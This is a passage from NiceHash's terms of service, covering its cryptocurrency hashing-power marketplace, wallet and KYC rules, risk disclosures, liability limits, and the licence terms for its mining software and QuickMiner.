hashing power to the Hashing power buyers. NiceHash QuickMiner is intended as a tryout tool. Hashing power rig means all hardware which produces hashing power that represents computation power which is required to calculate the hash function of different type of cryptocurrency. Secondary account is an account managed by third party from which the Account holder deposits funds to his NiceHash Wallet or/and to which the Account holder withdraws funds from his NiceHash Wallet. Stratum is a lightweight mining protocol: https://slushpool.com/help/manual/stratum-protocol. NiceHash Account means an online account available on the NiceHash Platform and created by completing the registration procedure on the NiceHash Platform. Account holder means an individual or legal entity who completes the registration procedure and successfully creates the NiceHash Account. Minimum Age means 18 years old or older, if in order for NiceHash to lawfully provide the Services to you without parental consent (including using your personal data). NiceHash Wallet means a wallet created automatically for the Account holder and provided by the NiceHash Wallet provider. NiceHash does not hold funds on behalf of the Account holder but only transfers Account holder’s requests regarding the NiceHash Wallet transaction to the NiceHash Wallet provider who executes the requested transactions. In this respect NiceHash only processes and performs administrative services related to the payments regarding the NiceHash Mining Services and NiceHash Exchange Services, if applicable. NiceHash Wallet provider is a third party which on the behalf of the Account holder provides and manages the NiceHash Wallet, holds, stores and transfers funds and hosts NiceHash Wallet. For more information about the NiceHash Wallet provider, see the following website: https://www.bitgo.com/. Blockchain network is a distributed database that is used to maintain a continuously growing list of records, called blocks. Force Majeure Event means any governmental or relevant regulatory regulations, acts of God, war, riot, civil commotion, fire, flood, or any disaster or an industrial dispute of workers unrelated to you or NiceHash. Any act, event, omission, happening or non-happening will only be considered Force Majeure if it is not attributable to the wilful act, neglect or failure to take reasonable precautions of the affected party, its agents, employees, consultants, contractors and sub-contractors. SALE AND PURCHASE OF HASHING POWER Hashing power providers agree to sell and NiceHash agrees to proceed Hashing power buyers’ payments for the provided hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle get-paid-per-valid-share (pay as you go principle) Hashing power providers will be paid only for validated and accepted hashing power to their NiceHash Wallet or other wallet, as indicated in Account holder’s profile settings or in stratum connection username. In some cases, no Hashing power is sent to Hashing power buyers or is accepted by NiceHash Services, even if Hashing power is generated on the Hashing power rigs. These cases include usage of slower hardware as well as software, hardware or network errors. In these cases, Hashing power providers are not paid for such Hashing power. Hashing power buyers agree to purchase and NiceHash agrees to process the order and forward the purchased hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle pay-per-valid-share (pay as you go principle) Hashing power buyers will pay from their NiceHash Wallet only for the hashing power that was validated by our engine. When connection to the mining pool which is selected on the Hashing power order is lost or when an order is cancelled during its lifetime, Hashing power buyer pays for additional 10 seconds worth of hashing power. Hashing power order is charged for extra hashing power when mining pool which is selected on the Hashing power order, generates rapid mining work changes and/or rapid mining job switching. All payments including any fees will be processed in crypto currency and NiceHash does not provide an option to sale and purchase of the hashing power in fiat currency. RISK DISCLOSURE If you choose to use NiceHash Platform, Services and NiceHash Wallet, it is important that you remain aware of the risks involved, that you have adequate technical resources and knowledge to bear such risks and that you monitor your transactions carefully. General risk You understand that NiceHash Platform and Services, blockchain technology, Bitcoin, all other cryptocurrencies and cryptotokens, proof of work concept and other associated and related technologies are new and untested and outside of NiceHash’s control. You acknowledge that there are major risks associated with these technologies. In addition to the risks disclosed below, there are risks that NiceHash cannot foresee and it is unreasonable to believe that such risk could have been foreseeable. The performance of NiceHash’s obligation under these Terms will terminate if market or technology circumstances change to such an extent that (i) these Terms clearly no longer comply with NiceHash’s expectations, (ii) it would be unjust to enforce NiceHash’s obligations in the general opinion or (iii) NiceHash’s obligation becomes impossible. NiceHash Account abuse You acknowledge that there is risk associated with the NiceHash Account abuse and that you have been fully informed and warned about it. The funds stored in the NiceHash Wallet may be disposed by third party in case the third party obtains the Account holder’s login credentials. The Account holder shall protect his login credentials and his electronic devices where the login credentials are stored against unauthorized access. Regulatory risks You acknowledge that there is risk associated with future legislation which may restrict, limit or prohibit certain aspects of blockchain technology which may also result in restriction, limitation or prohibition of NiceHash Services and that you have been fully informed and warned about it. Risk of hacking You acknowledge that there is risk associated with hacking NiceHash Services and NiceHash Wallet and that you have been fully informed and warned about it. Hacker or other groups or organizations may attempt to interfere with NiceHash Services or NiceHash Wallet in any way, including without limitation denial of services attacks, Sybil attacks, spoofing, smurfing, malware attacks, mining attacks or consensus-based attacks. Cryptocurrency risk You acknowledge that there is risk associated with the cryptocurrencies which are used as payment method and that you have been fully informed and warned about it. Cryptocurrencies are prone to, but not limited to, value volatility, transaction costs and times uncertainty, lack of liquidity, availability, regulatory restrictions, policy changes and security risks. NiceHash Wallet risk You acknowledge that there is risk associated with funds held on the NiceHash Wallet and that you have been fully informed and warned about it. You acknowledge that NiceHash Wallet is provided by NiceHash Wallet provider and not NiceHash. You acknowledge and agree that NiceHash shall not be responsible for any NiceHash Wallet provider’s services, including their accuracy, completeness, timeliness, validity, copyright compliance, legality, decency, quality or any other aspect thereof. NiceHash does not assume and shall not have any liability or responsibility to you or any other person or entity for any Hash Wallet provider’s services. Hash Wallet provider’s services and links thereto are provided solely as a convenience to you and you access and use them entirely at your own risk and subject to NiceHash Wallet provider’s terms and conditions. Since the NiceHash Wallet is a cryptocurrency wallet all funds held on it are entirely uninsured in contrast to the funds held on the bank account or other financial institutions which are insured. Connection risk You acknowledge that there are risks associated with usage of NiceHash Services which are provided through the internet including, but not limited to, the failure of hardware, software, configuration and internet connections and that you have been fully informed and warned about it. You acknowledge that NiceHash will not be responsible for any configuration, connection or communication failures, disruptions, errors, distortions or delays you may experience when using NiceHash Services, however caused. Hashing power provision risk You acknowledge that there are risks associated with the provisions of the hashing power which is provided by the Hashing power providers through the Hashing power marketplace and that you have been fully informed and warned about it. You acknowledge that NiceHash does not provide the hashing power but only provides the Hashing power marketplace as a service. Hashing power providers’ Hashing power rigs are new and untested and outside of NiceHash’s control. There is a major risk that the Hashing power rigs (i) will stop providing hashing power, (ii) will provide hashing power in an unstable way, (iii) will be wrongly configured or (iv) provide insufficient speed of the hashing power. Hashing power rigs as hardware could be subject of damage, errors, electricity outage, misconfiguration, connection or communication failures and other malfunctions. NiceHash will not be responsible for operation of Hashing power rigs and its provision of hashing power. By submitting a Hashing power order you agree to Hashing power no-refund policy – all shares forwarded to mining pool, selected on the Hashing power order are final and non-refundable. Hashing power profitability risk You acknowledge that there is risk associated with the profitability of the hashing power provision and that you have been fully informed and warned about it. You acknowledge that all Hashing power rig’s earning estimates and profitability calculations on NiceHash Platform are only for informational purposes and were made based on the Hashing power rigs set up in the test environments. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. There is risk that your Hashing power rig would not produce desired hashing power quantity and quality and that your produced hashing power would differentiate from the hashing power produced by our Hashing power rigs set up in the test environments. There is risk that your Hashing power rigs would not be as profitable as our Hashing power rigs set up in the test environments or would not be profitable at all. WARRANTIES NiceHash Platform and Mining Services are provided on the “AS IS” and “AS AVAILABLE” basis, including all faults and defects. To the maximum extent permitted by applicable law, NiceHash makes no representations and warranties and you waive all warranties of any kind. Particularly, without limiting the generality of the foregoing, the NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding NiceHash Platform and Mining Services or other services related to NiceHash Platform and provided by third parties, including any warranty that such services will be uninterrupted, harmless, secure or not corrupt or damaged, meet your requirements, achieve any intended results, be compatible or work with any other software, applications, systems or services, meet any performance or error free or that any errors or defects can or will be corrected. Additionally NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise of merchantability, suitability, reliability, availability, timeliness, accuracy, satisfactory quality, fitness for a particular purpose or quality, title and non-infringement with respect to any of the Mining Services or other services related to NiceHash Platform and provided by third parties, or quiet enjoyment and any warranties arising out of any course of dealing, course of performance, trade practice or usage of NiceHash Platform and Mining Services including information, content and material contained therein. Especially NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding any payment services and systems, NiceHash Wallet which is provided by third party or any other financial services which might be related to the NiceHash Platform and Mining Services. You acknowledge that you do not rely on and have not been induced to accept the NiceHash Platform and Mining Services according to these Terms on the basis of any warranties, representations, covenants, undertakings or any other statement whatsoever, other than expressly set out in these Terms that neither the NiceHash nor any of its respective agents, officers, employees or advisers have given any such warranties, representations, covenants, undertakings or other statements. LIABILITY NiceHash and their respective officers, employees or agents will not be liable to you or anyone else, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages (including but not limited to lost profits, trading losses or damages that result from use or loss of use of NiceHash Services or NiceHash Wallet), even if NiceHash has been advised of the possibility of such damages or losses, including, without limitation, from the use or attempted use of NiceHash Platform and Mining Services, NiceHash Wallet or other related websites or services. NiceHash does not assume any obligations to users in connection with the unlawful alienation of Bitcoins, which occurred on 6. 12. 2017 with NICEHASH, d. o. o., and has been fully reimbursed with the completion of the NiceHash Repayment Program. NiceHash will not be responsible for any compensation, reimbursement, or damages arising in connection with: (i) your inability to use the NiceHash Platform and Mining Services, including without limitation as a result of any termination or suspension of the NiceHash Platform or these Terms, power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance, (ii) the cost of procurement of substitute goods or services, (iii) any your investments, expenditures, or commitments in connection with these Terms or your use of or access to the NiceHash Platform and Mining Services, (iv) your reliance on any information obtained from NiceHash, (v) Force Majeure Event, communications failure, theft or other interruptions or (vi) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with NiceHash Platform and Mining Services or NiceHash Wallet. Our aggregate liability (including our directors, members, employees and agents), whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of NiceHash Platform and Mining Services, or inability to use the Platform and Services under these Terms or under any other document or agreement executed and delivered in connection herewith or contemplated hereby, shall in any event not exceed 100 EUR per user. You will defend, indemnify, and hold NiceHash harmless and all respective employees, officers, directors, and representatives from and against any claims, demand, action, damages, loss, liabilities, costs and expenses (including reasonable attorney fees) arising out of or relating to (i) any third-party claim concerning these Terms, (ii) your use of, or conduct in connection with, NiceHash Platform and Mining Services, (iii) any feedback you provide, (iv) your violation of these Terms, (v) or your violation of any rights of any other person or entity. If you are obligated to indemnify us, we will have the right, in our sole discretion, to control any action or proceeding (at our expense) and determine whether we wish to settle it. If we are obligated to respond to a third-party subpoena or other compulsory legal order or process described above, you will also reimburse us for reasonable attorney fees, as well as our employees’ and contractors’ time and materials spent responding to the third-party subpoena or other compulsory legal order or process at reasonable hourly rates. The Services and the information, products, and services included in or available through the NiceHash Platform may include inaccuracies or typographical errors. Changes are periodically added to the information herein. Improvements or changes on the NiceHash Platform can be made at any time. NICEHASH ACCOUNT The registration of the NiceHash Account is made through the NiceHash Platform, where you are required to enter your email address and password in the registration form. After successful completion of registration, the confirmation email is sent to you. After you confirm your registration by clicking on the link in the confirmation email the NiceHash Account is created. NiceHash will send you proof of completed registration once the process is completed. When you create NiceHash Account, you agree to (i) create a strong password that you change frequently and do not use for any other website, (ii) implement reasonable and appropriate measures designed to secure access to any device which has access to your email address associated with your NiceHash Account and your username and password for your NiceHash Account, (iii) maintain the security of your NiceHash Account by protecting your password and by restricting access to your NiceHash Account; (iv) promptly notify us if you discover or otherwise suspect any security breaches related to your NiceHash Account so we can take all required and possible measures to secure your NiceHash Account and (v) take responsibility for all activities that occur under your NiceHash Account and accept all risks of any authorized or unauthorized access to your NiceHash Account, to the maximum extent permitted by law. Losing access to your email, registered at NiceHash Platform, may also mean losing access to your NiceHash Account. You may not be able to use the NiceHash Platform or Mining Services, execute withdrawals and other security sensitive operations until you regain access to your email address, registered at NiceHash Platform. If you wish to change the email address linked to your NiceHash Account, we may ask you to complete a KYC procedure for security purposes. This step serves solely for the purpose of identification in the process of regaining access to your NiceHash Account. Once the NiceHash Account is created a NiceHash Wallet is automatically created for the NiceHash Account when the request for the first deposit to the NiceHash Wallet is made by the user. Account holder’s NiceHash Wallet is generated by NiceHash Wallet provider. Account holder is strongly suggested to enhance the security of his NiceHash Account by adding an additional security step of Two-factor authentication (hereinafter “2FA”) when logging into his account, withdrawing funds from his NiceHash Wallet or placing a new order. Account holder can enable this security feature in the settings of his NiceHash Account. In the event of losing or changing 2FA code, we may ask the Account holder to complete a KYC procedure for security reasons. This step serves solely for the purpose of identification in the process of reactivating Account holders 2FA and it may be subject to an a In order to use certain functionalities of the NiceHash Platform, such as paying for the acquired hashing power, users must deposit funds to the NiceHash Wallet, as the payments for the hashing power could be made only through NiceHash Wallet. Hashing power providers have two options to get paid for the provided hashing power: (i) by using NiceHash Wallet to receive the payments or (ii) by providing other Bitcoin address where the payments shall be received to. Hashing power providers provide their Bitcoin address to NiceHash by providing such details via Account holder’s profile settings or in a form of a stratum username while connecting to NiceHash stratum servers. Account holder may load funds on his NiceHash Wallet from his Secondary account. Account holder may be charged fees by the Secondary account provider or by the blockchain network for such transaction. NiceHash is not responsible for any fees charged by Secondary account providers or by the blockchain network or for the management and security of the Secondary accounts. Account holder is solely responsible for his use of Secondary accounts and Account holder agrees to comply with all terms and conditions applicable to any Secondary accounts. The timing associated with a load transaction will depend in part upon the performance of Secondary accounts providers, the performance of blockchain network and performance of the NiceHash Wallet provider. NiceHash makes no guarantee regarding the amount of time it may take to load funds on to NiceHash Wallet. NiceHash Wallet shall not be used by Account holders to keep, save and hold funds for longer period and also not for executing other transactions which are not related to the transactions regarding the NiceHash Platform. The NiceHash Wallet shall be used exclusively and only for current and ongoing transactions regarding the NiceHash Platform. Account holders shall promptly withdraw any funds kept on the NiceHash Wallet that will not be used and are not intended for the reasons described earlier. Commission fees may be charged by the NiceHash Wallet provider, by the blockchain network or by NiceHash for any NiceHash Wallet transactions. Please refer to the NiceHash Platform, for more information about the commission fees for NiceHash Wallet transactions which are applicable at the time of the transaction. NiceHash reserves the right to change these commission fees according to the provisions to change these Terms at any time for any reason. You have the right to use the NiceHash Account only in compliance with these Terms and other commercial terms and principles published on the NiceHash Platform. In particular, you must observe all regulations aimed at ensuring the security of funds and financial transactions. Provided that the balance of funds in your NiceHash Wallet is greater than any minimum balance requirements needed to satisfy any of your open orders, you may withdraw from your NiceHash Wallet any amount of funds, up to the total amount of funds in your NiceHash Wallet in excess of such minimum balance requirements, to Secondary Account, less any applicable withdrawal fees charged by NiceHash or by the blockchain network for such transaction. Withdrawals are not processed instantly and may be grouped with other withdrawal requests. Some withdrawals may require additional verification information which you will have to provide in order to process the withdrawal. It may take up to 24 hours before withdrawal is fully processed and distributed to the Blockchain network. Please refer to the NiceHash Platform for more information about the withdrawal fees and withdrawal processing. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. You have the right to close the NiceHash Account. In case you have funds on your NiceHash Wallet you should withdraw funds from your account prior to requesting NiceHash Account closure. After we receive your NiceHash Account closure request we will deactivate your NiceHash Account. You can read more about closing the NiceHash Account in our Privacy Policy. Your NiceHash Account may be deactivated due to your inactivity. Your NiceHash account may be locked and a mandatory KYC procedure is applied for security reasons, if it has been more than 6 month since your last login. NiceHash or any of its partners or affiliates are not responsible for the loss of the funds, stored on or transferred from the NiceHash Wallet, as well as for the erroneous implementation of the transactions made via NiceHash Wallet, where such loss or faulty implementation of the transaction are the result of a malfunction of the NiceHash Wallet and the malfunction was caused by you or the NiceHash Wallet provider. You are obliged to inform NiceHash in case of loss or theft, as well as in the case of any possible misuse of the access data to your NiceHash Account, without any delay, and demand change of access data or closure of your existing NiceHash Account and submit a request for new access data. NiceHash will execute the change of access data or closure of the NiceHash Account and the opening of new NiceHash Account as soon as technically possible and without any undue delay. All information pertaining to registration, including a registration form, generation of NiceHash Wallet and detailed instructions on the use of the NiceHash Account and NiceHash Wallet are available at NiceHash Platform. The registration form as well as the entire system is properly protected from unwanted interference by third parties. KYC PROCEDURE NiceHash is appropriately implementing AML/CTF and security measures to diligently detect and prevent any malicious or unlawful use of NiceHash Services or use, which is strictly prohibited by these Terms, which are deemed as your agreement to provide required personal information for identity verification. Security measures include a KYC procedure, which is aimed at determining the identity of an individual user or an organisation. We may ask you to complete this procedure before enabling some or all functionalities of the NiceHash platform and provide its services. A KYC procedure might be applied as a security measure when: changing the email address linked to your NiceHash Account, losing or changing your 2FA code; logging in to your NiceHash Account for the first time after the launch of the new NiceHash Platform in August 2019, gaining access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof if they were disabled due to and activating your NiceHash Account if it has been deactivated due to its inactivity and/or security or other reasons. HASHING POWER TRANSACTIONS General NiceHash may, at any time and in our sole discretion, (i) refuse any order submitted or provided hashing power, (ii) cancel an order or part of the order before it is executed, (iii) impose limits on the order amount permitted or on provided hashing power or (iv) impose any other conditions or restrictions upon your use of the NiceHash Platform and Mining Services without prior notice. For example, but not limited to, NiceHash may limit the number of open orders that you may establish or limit the type of supported Hashing power rigs and mining algorithms or NiceHash may restrict submitting orders or providing hashing power from certain locations. Please refer to the NiceHash Platform, for more information about terminology, hashing power transactions’ definitions and descriptions, order types, order submission, order procedure, order rules and other restrictions and limitations of the hashing power transactions. NiceHash reserves the right to change any transaction, definitions, description, order types, procedure, rules, restrictions and limitations at any time for any reason. Orders, provision of hashing power, payments, deposits, withdrawals and other transactions are accepted only through the interface of the NiceHash Platform, NiceHash API and NiceHash Account and are fixed by the software and hardware tools of the NiceHash Platform. If you do not understand the meaning of any transaction option, NiceHash strongly encourages you not to utilize any of those options. Hashing Power Order In order to submit an Hashing Power Order via the NiceHash Account, the Hashing power buyer must have available funds in his NiceHash Wallet. Hashing power buyer submits a new order to buy hashing power via the NiceHash Platform or via the NiceHash API by setting the following parameters in the order form: NiceHash service server location, third-party mining pool, algorithm to use, order type, set amount he is willing to spend on this order, set price per hash he is willing to pay, optionally approximate limit maximum hashing power for his order and other parameters as requested and by confirming his order. Hashing power buyer may submit an order in maximum amount of funds available on his NiceHash Wallet at the time of order submission. Order run time is only approximate since order’s lifetime is based on the number of hashes that it delivers. Particularly during periods of high volume, illiquidity, fast movement or volatility in the marketplace for any digital assets or hashing power, the actual price per hash at which some of the orders are executed may be different from the prevailing price indicated on NiceHash Platform at the time of your order. You understand that NiceHash is not liable for any such price fluctuations. In the event of market disruption, NiceHash Services disruption, NiceHash Hashing Power Marketplace disruption or manipulation or Force Majeure Event, NiceHash may do one or more of the following: (i) suspend access to the NiceHash Account or NiceHash Platform, or (ii) prevent you from completing any actions in the NiceHash Account, including closing any open orders. Following any such event, when trading resumes, you acknowledge that prevailing market prices may differ significantly from the prices available prior to such event. When Hashing power buyer submits an order for purchasing of the Hashing power via NiceHash Platform or via the NiceHash API he authorizes NiceHash to execute the order on his behalf and for his account in accordance with such order. Hashing power buyer acknowledges and agrees that NiceHash is not acting as his broker, intermediary, agent or advisor or in any fiduciary capacity. NiceHash executes the order in set order amount minus NiceHash’s processing fee. Once the order is successfully submitted the order amount starts to decrease in real time according to the payments for the provided hashing power. Hashing power buyer agrees to pay applicable processing fee to NiceHash for provided services. The NiceHash’s fees are deducted from Hashing power buyer’s NiceHash Wallet once the whole order is exhausted and completed. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. All orders submitted prior the fee change but not necessary completed prior the fee change will be charged according to the fees applicable at the time of the submission of the order. NiceHash will attempt, on a commercially reasonable basis, to execute the Hashing power buyer’s purchase of the hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power buyer may cancel a submitted order during order’s lifetime. If an order has been partially executed, Hashing power buyer may cancel the unexecuted remainder of the order. In this case the NiceHash’s processing fee will apply only for the partially executed order. NiceHash reserves the right to refuse any order cancellation request once the order has been submitted. Selling Hashing Power and the Provision of Hashing Power In order to submit the hashing power to the NiceHash stratum server the Hashing power provider must first point its Hashing power rig to the NiceHash stratum server. Hashing power provider is solely responsible for configuration of his Hashing power rig. The Hashing power provider gets paid by Hashing power buyers for all validated and accepted work that his Hashing power rig has produced. The provided hashing power is validated by NiceHash’s stratum engine and validator. Once the hashing power is validated the Hashing power provider is entitled to receive the payment for his work. NiceHash logs all validated hashing power which was submitted by the Hashing power provider. The Hashing power provider receives the payments of current globally weighted average price on to his NiceHash Wallet or his selected personal Bitcoin address. The payments are made periodically depending on the height of payments. NiceHash reserves the right to hold the payments any time and for any reason by indicating the reason, especially if the payments represent smaller values. Please refer to the NiceHash Platform, for more information about the height of payments for provided hashing power, how the current globally weighted average price is calculated, payment periods, payment conditions and conditions for detention of payments. NiceHash reserves the right to change this payment policy according to the provisions to change these Terms at any time for any reason. All Hashing power rig’s earnings and profitability calculations on NiceHash Platform are only for informational purposes. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. You hereby acknowledge that it is possible that your Hashing power rigs would not be as profitable as indicated in our informational calculations or would not be profitable at all. Hashing power provider agrees to pay applicable processing fee to NiceHash for provided Services. The NiceHash’s fees are deducted from all the payments made to the Hashing power provider for his provided work. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. Hashing power provider which has not submitted any hashing power to the NiceHash stratum server for a period of 90 days agrees that a processing fee of 0.00001000 BTC or less, depending on the unpaid mining balance, will be deducted from his unpaid mining balance. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. NiceHash will attempt, on a commercially reasonable basis, to execute the provision of Hashing power providers’ hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power provider may disconnect the Hashing power rig from the NiceHash stratum server any time. NiceHash reserves the right to refuse any Hashing power rig once the Hashing power rig has been pointed towards NiceHash stratum server. RESTRICTIONS When accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, you warrant and agree that you: will not use the Services for any purpose that is unlawful or prohibited by these Terms, will not violate any law, contract, intellectual property or other third-party right or commit a tort, are solely responsible for your conduct while accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, will not access the NiceHash Platform or use the Mining Services in any manner that could damage, disable, overburden, or impair the provision of the Services or interfere with any other party's use and enjoyment of the Services, will not misuse and/or maliciously use Hashing power rigs, you will particularly refrain from using network botnets or using NiceHash Platform or Mining Services with Hashing power rigs without the knowledge or awareness of Hashing power rig owner(s), will not perform or attempt to perform any kind of malicious attacks on blockchains with the use of the NiceHash Platform or Mining Services, intended to maliciously gain control of more than 50% of the network's mining hash rate, will not use the NiceHash Platform or Mining Services for any kind of market manipulation or disruption, such as but not limited to NiceHash Mining Services disruption and NiceHash Hashing Power Marketplace manipulation. In case of any of the above mentioned events, NiceHash reserves the right to immediately suspend your NiceHash Account, freeze or block the funds in the NiceHash Wallet, and suspend your access to NiceHash Platform, particularly if NiceHash believes that such NiceHash Account are in violation of these Terms or Privacy Policy, or any applicable laws and regulation. RIGHTS AND OBLIGATIONS In the event of disputes with you, NiceHash is obliged to prove that the NiceHash service which is the subject of the dispute was not influenced by technical or other failure. You will have possibility to check at any time, subject to technical availability, the transactions details, statistics and available balance of the funds held on the NiceHash Wallet, through access to the NiceHash Account. You may not obtain or attempt to obtain any materials or information through any means not intentionally made available or provided to you or public through the NiceHash Platform or Mining Services. We may, in our sole discretion, at any time, for any or no reason and without liability to you, with prior notice (i) terminate all rights and obligations between you and NiceHash derived from these Terms, (ii) suspend your access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof and delete or deactivate your NiceHash Account and all related information and files in such account (iii) modify, suspend or discontinue, temporarily or permanently, any portion of NiceHash Platform or (iv) provide enhancements or improvements to the features and functionality of the NiceHash Platform, which may include patches, bug fixes, updates, upgrades and other modifications. Any such change may modify or delete certain portion, features or functionalities of the NiceHash Services. You agree that NiceHash has no obligation to (i) provide any updates, or (ii) continue to provide or enable any particular portion, features or functionalities of the NiceHash Services to you. You further agree that all changes will be (i) deemed to constitute an integral part of the NiceHash Platform, and (ii) subject to these Terms. In the event of your breach of these Terms, including but not limited to, for instance, in the event that you breach any term of these Terms, due to legal grounds originating in anti-money laundering and know your client regulation and procedures, or any other relevant applicable regulation, all right and obligations between you and NiceHash derived from these Terms terminate automatically if you fail to comply with these Terms within the notice period of 8 days after you have been warned by NiceHash about the breach and given 8 days period to cure the breaches. NiceHash reserves the right to keep these rights and obligations in force despite your breach of these Terms. In the event of termination, NiceHash will attempt to return you any funds stored on your NiceHash Wallet not otherwise owed to NiceHash, unless NiceHash believes you have committed fraud, negligence or other misconduct. You acknowledge that the NiceHash Services and NiceHash Wallet may be suspended for maintenance. Technical information about the hashing power transactions, including information about chosen server locations, algorithms used, selected mining pools, your business or activities, including all financial and technical information, specifications, technology together with all details of prices, current transaction performance and future business strategy represent confidential information and trade secrets. NiceHash shall, preserve the confidentiality of all before mentioned information and shall not disclose or cause or permit to be disclosed without your permission any of these information to any person save to the extent that such disclosure is strictly to enable you to perform or comply with any of your obligations under these Terms, or to the extent that there is an irresistible legal requirement on you or NiceHash to do so; or where the information has come into the public domain otherwise than through a breach of any of the terms of these Terms. NiceHash shall not be entitled to make use of any of these confidential information and trade secrets other than during the continuance of and pursuant to these Terms and then only for the purpose of carrying out its obligations pursuant to these Terms. NICEHASH MINER LICENSE (NICEHASH MINING SOFTWARE LICENSE) NiceHash Mining Software whether on disk, in read only memory, or any other media or in any other form is licensed, not sold, to you by NiceHash for use only under these Terms. NiceHash retains ownership of the NiceHash Mining Software itself and reserves all rights not expressly granted to you. Subject to these Terms, you are granted a limited, non-transferable, non-exclusive and a revocable license to download, install and use the NiceHash Mining Software. You may not distribute or make the NiceHash Mining Software available over a network where it could be used by multiple devices at the same time. You may not rent, lease, lend, sell, redistribute, assign, sublicense host, outsource, disclose or otherwise commercially exploit the NiceHash Mining Software or make it available to any third party. There is no license fee for the NiceHash Mining Software. NiceHash reserves the right to change the license fee policy according to the provisions to change these Terms any time and for any reason, including to decide to start charging the license fee for the NiceHash Mining Software. You are responsible for any and all applicable taxes. You may not, and you agree not to or enable others to, copy, decompile, reverse engineer, reverse compile, disassemble, attempt to derive the source code of, decrypt, modify, or create derivative works of the NiceHash Mining Software or any services provided by the NiceHash Mining Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by the licensing terms governing use of open-sourced components included with the NiceHash Mining Software). If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the NiceHash Mining Software and, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. You agree that NiceHash may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the NiceHash Mining Software and to verify compliance with these Terms. NiceHash may use this information, as long as it is in a form that does not personally identify you, to improve our NiceHash Services. NiceHash Mining Software contains features that rely upon information about your selected mining pools. You agree to our transmission, collection, maintenance, processing, and use of all information obtained from you about your selected mining pools. You can opt out at any time by going to settings in the NiceHash Mining Software. NiceHash may provide interest-based advertising to you. If you do not want to receive relevant ads in the NiceHash Mining Software, you can opt out at any time by going to settings in the NiceHash Mining Software. If you opt out, you will continue to receive the same number of ads, but they may be less relevant because they will not be based on your interest. NiceHash Mining Software license is effective until terminated. All provisions of these Terms regarding the termination apply also for the NiceHash Mining Software license. Upon the termination of NiceHash Mining Software license, you shall cease all use of the NiceHash Mining Software and destroy or delete all copies, full or partial, of the NiceHash Mining Software. THIRD PARTY MINERS AND PLUGINS Third Party Miners and Plugins are a third party software which enables the best and most efficient mining operations. NiceHash Miner integrates third party mining software using a third party miner plugin system. Third Party Mining Software is a closed source software which supports mining algorithms for cryptocurrencies and can be integrated into NiceHash Mining Software. Third Party Miner Plugin enables the connection between NiceHash Mining Software and Third Party Mining Software and it can be closed, as well as open sourced. NiceHash Mining Software user interface enables the user to manually select which available Third Party Miners and Plugins will be downloaded and integrated. Users can select or deselect Third Party Miners and Plugins found in the Plugin Manager window. Some of the available Third Party Miners and Plugins which are most common are preselected by NiceHash, but can be deselected, depending on users' needs. The details of the Third Party Miners and Plugins available for NiceHash Mining Software are accessible within the NiceHash Mining Software user interface. The details include, but not limited to, the author of the software and applicable license information, if applicable information about developer fee for Third Party Miners, software version etc. Developer fees may apply to the use of Third Party Miners and Plugins. NiceHash will not be liable, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages, arising out of using Third Party Miners and Plugins. The latter includes, but is not limited to: i) any power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance; ii) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with usage of Third Party Miners and Plugins and ii) Force Majeure Event, communications failure, theft or other interruptions. If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the installed Third Party Miners and Plugins, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. NICEHASH QUICKMINER NiceHash QuickMiner is a software application that allows the visitors of the NiceHash Quick Miner web page, accessible athttps://www.nicehash.com/quick-miner, to connect their PC or a mining rig to the NiceHash Hashing Power Marketplace. Visitors of the NiceHash Quick Miner web page can try out and experience crypto currency mining without having to register on the NiceHash Platform and create a NiceHash Account. Users are encouraged to do so as soon as possible in order to collect the funds earned using NiceHash Quick Miner. Users can download NiceHash QuickMiner free of charge. In order to operate NiceHash QuickMiner software needs to automatically detect technical information about users' computer hardware. You agree that NiceHash may collect and use technical and related information. For more information please refer to NiceHash Privacy Policy. Funds arising from the usage of NiceHash QuickMiner are transferred to a dedicated cryptocurrency wallet owned and managed by NiceHash. NiceHash QuickMiner Users expressly agree and acknowledge 